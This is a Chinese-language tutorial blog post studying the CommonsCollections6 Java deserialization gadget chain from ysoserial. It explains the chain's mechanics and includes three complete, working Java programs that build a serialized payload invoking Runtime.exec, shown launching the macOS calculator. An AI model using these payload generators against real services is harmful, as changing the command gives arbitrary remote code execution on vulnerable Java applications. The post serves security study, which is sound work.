争取明年有一个上千star的项目
0x00 前言
在上一篇通过 P牛和 ysoserial 项目分析了CommonsCollections1这条利用链和其中的TransformedMap、LazyMap原理。
但是在 Java 8u71以后,这个利用链不能再利用了,主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了。
CommonsCollections6 解决了高版本Java的利用问题,一起来学习下吧。
本文CommonsCollections6利用链的限制条件:
JDK版本:暂无限制、 CommonsCollections 3.1 - 3.2.1
实验环境:
JDK 1.8.0_261 、Commons-Collections 3.2.1
0x01 AnnotationInvocationHandler#readObject
学习 CommonsCollections6 之前,先来看看 AnnotationInvocationHandler#readObject具体改变了什么?
在 Java 8u71 之前,当 Object var6 = this.memberValues.get(var4); var4 的值为entrySet时,这时 this.memberValues 是一个LazyMap对象,里面的值也就是在上一节我们构造好的transformers的数组
只有这时才会继续执行LazyMap#get方法,进而触发transform方法,执行命令。
而在 Java 8u71 之后(本文以JDK 1.8.0_261为例),当 Object var6 = this.memberValues.get(var4); var4 的值为entrySet时,这时 this.memberValues 却是一个LinkedHashMap对象,根本不是我们构造的 LazyMap 
主要就是因为在Java 8u71之前的sun.reflect.annotation.AnnotationInvocationHandler#readObject中,首先调用默认的反序列化方法defaultReadObject获取Map对象;
而 Java 8u71之后,修改了逻辑,不再直接使用反序列化得到Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去,后续对Map的操作都是基于这个新的LinkedHashMap对象。
LinkedHashMap无法获得entrySet的内容,所以当 Object var6 = this.memberValues.get(var4); var4 的值为entrySet时,会报下面这个错误,无法完成后续操作。
java.lang.annotation.Target missing element entrySet
0x02 利用链
可以看到后半段从LazyMap.get()到结束都和CC1一样,这里就不分析了,具体可以看上篇文章**Java ysoserial学习之CommonsCollections1(二)**。
AnnotationInvocationHandler在前面起到的作用是来触发LazyMap#get函数,所以我们接下来就是要重新找一个可以触发该函数的对象。这个对象满足
从这里可以看到解决Java高版本利用问题,实际上就是在找是否还有其他调用 LazyMap#get() 的地方。
2.1 TiedMapEntry
在 ysoserial 项目中的 CC6链 是找了TiedMapEntry类来代替AnnotationInvocationHandler的作用。
直接进入 org.apache.commons.collections.keyvalue.TiedMapEntry文件中, TiedMapEntry实现了Serializable接口,可以进行序列化操作,很好,构造方法接受一个Map,可以被我们控制,那么就可以将LazyMap对象放入,
在TiedMapEntry#getValue方法中调用了map.get方法,可以执行LazyMap.get,进而执行transform方法,执行任意方法,完美。
测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap; import java.util.Map;
public class CommonCollections6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap,transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"yhy"); tiedMapEntry.getValue(); } }
|

2.2 HashMap
下面就是找一个能自动调用 TiedMapEntry#getValue的地方了。
然后继续向上看利用链, org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() ysoserial 这里通过TiedMapEntry.hashCode()方法来调用getValue方法(然后我们也不难发现TiedMapEntry#toString和TiedMapEntry#equals方法也调用了getValue()方法,但它不是CC6的猪角,这又是两条链CC5、CC7的事了)
看到 hashCode,记忆好的应该还记得在Java ysoserial学习之URLDNS(一)中,它可是猪角,回顾一下URLDNS触发流程
- 将URL对象作为key放入hashMap中,将其序列化发送给目标机器
- 如果目标机器存在反序列化漏洞,那么会执行
HashMap.readObject() 将数据反序列化
- 在反序列化期间,为了还原hashmap的内容,会调用
hash() 方法,而hash()函数会调用传入参数的 hashCode()方法
- 当URL 对象的
hashCode属性值为 -1 时会调用 handler.hashCode()方法,而这个方法会进行一次DNS查询。
重点看第三点,非常好,现在我们大概是找到了自动触发TiedMapEntry#getValue的地方了,Code一下,新建一个hashMap对象将tiedMapEntry作为key传入hashMap
然后就会发现,确实弹出了一个计算器,我以为到这里就结束了,结果是我在想屁吃,O(∩_∩)O哈哈~
这里弹出的计算器真的是反序列化时执行的吗?只会弹一个吗?
肯定不是啊,hashMap.put(tiedMapEntry, “yhy”); put是就会弹一个啊,按理说反序列化时也会执行命令再弹出一个计算机,总共应该两个,这里只弹出一个,在 hashMap.put时下断点,然后在HashMap#readObject方法中的putVal(hash(key), key, value, false, false);也下一个断点,LazyMap#get方法也下一个,之后开启Debug模式
点击绿色箭头直接从hashMap.put跳转到LazyMap#get,然后单步调试,第一次确实执行了factory.transform触发我们自定义的方法,弹出了计算器,注意这里的map是空的
接着点击绿色箭头从ois.readObject();跳转到LazyMap#get,之后单步调试就会发现,这一次没有执行factory.transform(key),map.containsKey(key)不再为false了,这一次 map 中有了一个key,不在为空了,
里面的key正是我们放进去的TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"yhy"); ,这里说明当第一次利用hashMap.put(tiedMapEntry, "yhy");时调用到了HashMap#hash(key)
注:这里的yhy并不是key,而是value,改这个值并不会影响if的判断,第一次new TiedMapEntry(outerMap,”yhy”)的才是key
这里对后续反序列化时产生了影响,导致 map.containsKey(key) == true,不进入if判断中,无法执行transform方法执行任意方法。
解决办法是把map中的key去除,这一次确实执行了两次,可以debug验证一下,第二次确实是在反序列化阶段执行的
细心的朋友可能发现了,这里和开头写的利用链不一样,怎么就结束了,明明还有一步 java.util.HashSet.readObject()没有用到。
其实这条利用链是和P牛在代码审计知识星球-Java安全漫谈系列中简化后的CC6链是一样的,我是在看到HashCode时联想到了URLDNS那条链中的相关知识,然后又参考P牛的文章才把这条链搞懂。^_^
在P牛的代码中 https://github.com/phith0n/JavaThings/blob/master/general/src/main/java/com/govuln/deserialization/CommonsCollections6.java 有一点和上述不一样
P牛多定义了Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};,然后
Transformer transformerChain = new ChainedTransformer(fakeTransformers);加入的是多定义的fakeTransformers数组,精心构造的要执行命令的数组在remove函数前后通过反射加入了transformerChain
1 2 3
| Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers);
|
这样的好处是
为了避免本地调试时触发命令执行,我构造LazyMap的时候先用了一个人畜无害的 fakeTransformers 对象,等最后要生成Payload的时候,再把真正的 transformers 替换进去。
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CommonCollections6 { public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap,transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"yhy");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "yhy");
outerMap.remove("yhy");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin")); oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin")); ois.readObject();
} }
|
虽然简化后的也能达到效果,为了学习,补充知识点,我们还是再来看看省略掉的java.util.HashSet.readObject()
2.3 HashSet
在HashSet#readObject中,将序列化数据反序列化后作为key调用map.put中,
这里的 map 实际上就是 HashMap ,之后的过程也和之前的一样,put –> hash –> hashCode

下面就是将我们构造好的数据放入HashSet中,让其在反序列化是自动执行。这里(不只是这里,所有反序列化的地方)其实还要看一下HashSet中的序列化过程(writeObject)是否可控,这里我们只要能控制map的key,那么就能控制序列化数据 s
而 map ,我们可以在HashSet中看到并没有一个直接的方法可以直接赋值修改的,这就又要用到反射相关的知识了,
首先获取HashSet中map的值
1 2 3 4 5 6 7 8 9
| HashSet hashSet = new HashSet(1); hashSet.add("yhy");
Field map = Class.forName("java.util.HashSet").getDeclaredField("map");
map.setAccessible(true);
HashMap hashSetMap = (HashMap) map.get(hashSet);
|
然后修改 hashSetMap 中的 key 值为 hashset
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] hashMapTable = (Object[]) table.get(hashSetMap);
Object node = hashMapTable[0]; if(node == null) { node = hashMapTable[1]; }
Field key = node.getClass().getDeclaredField("key"); key.setAccessible(true); key.set(node, tiedMapEntry);
|
在这里利用反射获取了 hashSetMap 中的 table 属性,table 其实就是hashmap的存储底层,将 <Key,Value> 封装在了 Node 对象中,在获取到了 table 中的 key 之后,利用反射修改其为tiedMapEntry
合并执行
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map;
public class CC6_Y { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap,transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"yhy");
HashSet hashSet = new HashSet(1); hashSet.add("yhy"); Field map = Class.forName("java.util.HashSet").getDeclaredField("map"); map.setAccessible(true); HashMap hashSetMap = (HashMap) map.get(hashSet);
Field table = Class.forName("java.util.HashMap").getDeclaredField("table"); table.setAccessible(true); Object[] hashMapTable = (Object[]) table.get(hashSetMap);
Object node = hashMapTable[0]; if(node == null) { node = hashMapTable[1]; }
Field key = node.getClass().getDeclaredField("key"); key.setAccessible(true); key.set(node, tiedMapEntry);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("outY.bin")); oos.writeObject(hashSet);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("outY.bin")); ois.readObject(); } }
|
0x03 总结
其实上周是打算写CC2链的,但是上周有个项目要做,就没心情去学、去总结,有两个原因:
- 确实有点忙,有点累
- CC2链要学习新知识,有点复杂,搞得没心情学,看不下去,搞得我有点懈怠了,想休息
所以上周也就没更新,这周大概恢复好了,看文章时发现CC6比较好搞点,知识大都是学过的,串联起来就好了,这就有信心接着写了。
接下来的其他CC链,并不会按照顺序来,学到哪,就写到哪,下周应该会写CC5或者CC7,毕竟和这两篇有关联,学起来不会太吃力。
还是P牛说的不错,独立思考很重要。
学习的过程是一个思考的过程,不是追求刷题,追求刷完了ysoserial的所有Gadget的代码。我觉得这样效率是不高的。通常来说刷题获得的记忆,在一段时间不接触后就会慢慢忘掉,但自然学习思考获得的结果,是不容易失去的。
0x04 参考
天下大木头师傅的 https://www.yuque.com/tianxiadamutou/zcfd4v/ac9529#55fcdbc0
P牛知识星球-java安全漫谈